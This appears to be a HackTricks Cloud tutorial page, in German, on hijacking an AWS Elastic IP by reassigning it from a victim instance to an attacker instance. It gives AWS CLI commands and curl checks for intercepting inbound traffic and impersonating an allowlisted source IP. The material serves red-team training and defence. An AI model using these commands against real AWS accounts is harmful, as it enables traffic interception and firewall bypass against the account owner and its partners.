AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Zusammenfassung
Missbrauche ec2:AssociateAddress (und optional ec2:DisassociateAddress), um eine Elastic IP (EIP) von einer victim instance/ENI zu einer attacker instance/ENI neu zuzuordnen. Dies leitet eingehenden Traffic, der an die EIP gerichtet ist, zum attacker um und erlaubt dem attacker außerdem, ausgehenden Traffic mit der allowlisted public IP zu erzeugen, um externe Partner-Firewalls zu umgehen.
Voraussetzungen
- Target EIP allocation ID im selben Account/VPC.
- Attacker instance/ENI, die Sie kontrollieren.
- Berechtigungen:
ec2:DescribeAddressesec2:AssociateAddressauf der EIP allocation-id und auf der attacker instance/ENIec2:DisassociateAddress(optional). Hinweis:--allow-reassociationhebt die vorherige Zuordnung automatisch auf.
Angriff
Variablen
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
- EIP des Opfers zuweisen oder identifizieren (Lab weist eine neue zu und hängt sie an das Opfer an)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
- Prüfen, ob die EIP aktuell auf den Zielservice zeigt (z. B. durch Überprüfung des Banners)
curl -sS http://$EIP | grep -i victim
- EIP dem Angreifer wieder zuordnen (wird automatisch vom Opfer getrennt)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
- Verifiziere, dass die EIP jetzt auf den attacker service aufgelöst wird
sleep 5; curl -sS http://$EIP | grep -i attacker
Beweise (verschobene Zuordnung):
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
Auswirkungen
- Inbound impersonation: Der gesamte Verkehr an die hijacked EIP wird an die attacker instance/ENI zugestellt.
- Outbound impersonation: Attacker kann Traffic initiieren, der scheinbar von der allowlisted public IP stammt (nützlich, um Partner-/externe Source-IP-Filter zu umgehen).
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud